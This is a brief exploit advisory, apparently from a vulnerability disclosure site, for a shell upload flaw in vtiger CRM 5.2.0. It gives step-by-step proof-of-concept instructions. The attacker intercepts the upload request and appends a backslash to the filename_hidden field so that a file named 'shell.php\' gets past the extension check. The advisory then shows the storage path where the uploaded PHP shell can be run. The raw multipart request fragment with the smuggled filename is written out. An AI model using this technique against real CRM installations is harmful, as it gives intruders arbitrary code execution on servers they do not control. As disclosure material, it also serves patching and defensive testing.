vtiger CRM 5.2.0 Shell Upload

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# Vulnerability............Shell Upload #  
# Software.................vtiger CRM 5.2.0 #  
# Download.................http://sourceforge.net/projects/vtigercrm/files/ #  
# Date.....................5/21/10 #  
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# Site.....................http://cross-site-scripting.blogspot.com/ #  
# [email protected] #  
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# ##Description## #  
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# A shell upload vunlerability in vtiger CRM 5.2.0 can be exploited to execute arbitrary PHP. #  
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# ##Exploit## #  
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# Upload a PHP file and append a backslash to the filename_hidden value. #  
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# ##Proof of Concept## #  
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# 1) Login and navigate to http://localhost/index.php?action=upload&module=uploads #  
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# 2) Capture the packet using a debugging proxy, append a backslash to the filename_hidden value, and submit #  
# it. e.g. #  
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# ------WebKitFormBoundaryihWhA69lH4hKrGBy #  
# Content-Disposition: form-data; name="filename_hidden" #  
# #  
# shell.php\ #  
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# 3) Navigate to the uploaded file http://localhost/storage/{Year}/{Month}/{Week}/{file} e.g. #  
# http://localhost/storage/2010/May/week3/shell.php #  
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